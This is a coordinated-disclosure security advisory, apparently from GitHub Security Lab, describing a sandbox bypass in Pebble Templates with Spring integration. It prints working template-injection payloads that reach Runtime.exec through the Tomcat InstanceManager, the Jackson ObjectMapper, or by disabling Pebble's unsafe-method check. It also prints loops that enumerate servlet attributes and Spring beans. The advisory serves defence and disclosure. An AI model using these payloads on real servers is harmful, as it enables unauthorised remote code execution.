Coordinated Disclosure Timeline
- 03/23/2020: Asked for a private way of reporting the issue at https://github.com/PebbleTemplates/pebble/issues/501
- 03/26/2020: Sent report through private Github Security Advisory discussion.
- 06/29/2020: Requested status update with no response.
- 07/15/2020: Requested status update with no response.
- 10/09/2020: Requested status update with no response.
- 01/08/2021: Requested status update with no response.
- 03/25/2021: Disclosure deadline reached.
- 04/01/2021: Publication as per our disclosure policy.
Summary
When Spring integration is enabled, an attacker that is able to modify Template contents may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running the Servlet container.
Product
Pebble Templates
Tested Version
v3.1.2
Details
Even though Pebble does a great job sandboxing the template engine by not allowing dangerous methods to be invoked, exposing Spring beans and Servlet related objects (such as the Servlet Context) may introduce a variety of objects which can be used to bypass the Pebble sandbox. Deep inspection of the exposed objects’ object graph allows an attacker to get access to objects that allow them to instantiate arbitrary Java objects. According to the documentation:
HttpServletRequest object is available to the template. HttpServletResponse is available to the template. HttpSession is available to the template. Spring beans are now available to the template.
In addition, Spring’s AbstractTemplateView exposes by default the springMacroRequestContext
variable; an instance of RequestContext.
There are two main approaches to bypass the sandbox: 1) accessing the Servlet context, and 2) accessing the Spring application context beans.
Servlet context
Servlet context can be accessed through:
request.servletContext
springMacroRequestContext.webApplicationContext.servletContext
beans.servletContext
On a Tomcat server the Servlet context will contain the org.apache.tomcat.InstanceManager
attribute which enables an attacker to instantiate arbitrary objects. Note that the same class (regardless of its name) is available on other servlet containers such as Jetty and similar classes are available in other servers. For example JBoss/WildFly exposes org.wildfly.extension.undertow.deployment.UndertowJSPInstanceManage
.
We can then try to run arbitrary Java code using a ScriptEngine
:
{{ request.servletContext.getAttribute('org.apache.tomcat.InstanceManager').newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval("java.lang.Runtime.getRuntime().exec('id')") }}
There are other objects in the Servlet context that can lead to Remote Code Execution. We can list them with:
<ul>
{% for attr in request.servletContext.getAttributeNames() %}
<li>{{ attr }}</li>
{% endfor %}
</ul>
In a sample Tomcat server we get:
- javax.servlet.context.tempdir
- org.apache.catalina.resources
- org.springframework.web.context.WebApplicationContext.ROOT
- org.springframework.web.context.support.ServletContextScope
- org.apache.tomcat.InstanceManager
- org.apache.catalina.jsp_classpath
- javax.websocket.server.ServerContainer
- org.apache.tomcat.JarScanner
- org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet
Some of these will allow us to access the Spring application context which in turn will give us access to all registered Spring beans.
Spring Beans
Spring Beans can be accessed in a number of ways. eg:
springMacroRequestContext.webApplicationContext.getBean(BEAN_NAME)
beans.BEAN_NAME
request.servletContext.getAttribute('org.springframework.web.context.WebApplicationContext.ROOT').getBean(BEAN_NAME)
We can list them with:
<ul>
{% for bean in springMacroRequestContext.webApplicationContext.getBeanDefinitionNames() %}
<li>{{ bean }}</li>
{% endfor %}
</ul>
The first bypass is to access arbitrary Class
objects. e.g:
{{ springMacroRequestContext.webApplicationContext.beanDefinition('application').beanClass.protectionDomain.classLoader.loadClass('javax.script.ScriptEngineManager') }}
We cant turn this into RCE by using the Jackson ObjectMapper to instantiate the ScriptManager for us:
{% set clzz = springMacroRequestContext.webApplicationContext.beanDefinition('application').beanClass.protectionDomain.classLoader.loadClass('javax.script.ScriptEngineManager') %}
{{ beans.jacksonObjectMapper.enableDefaultTyping().readValue("{}", clzz).getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('id')") }}
Since we can also access the Pebble engine, we can even turn the sandbox off.
{% set opts = beans.pebbleEngine.evaluationOptions.setAllowUnsafeMethods(true) %}
{{ "".class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('id')") }}
Impact
This issue may lead to Remote Code Execution (RCE).
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Munoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include GHSL-2020-050
in any communication regarding this issue.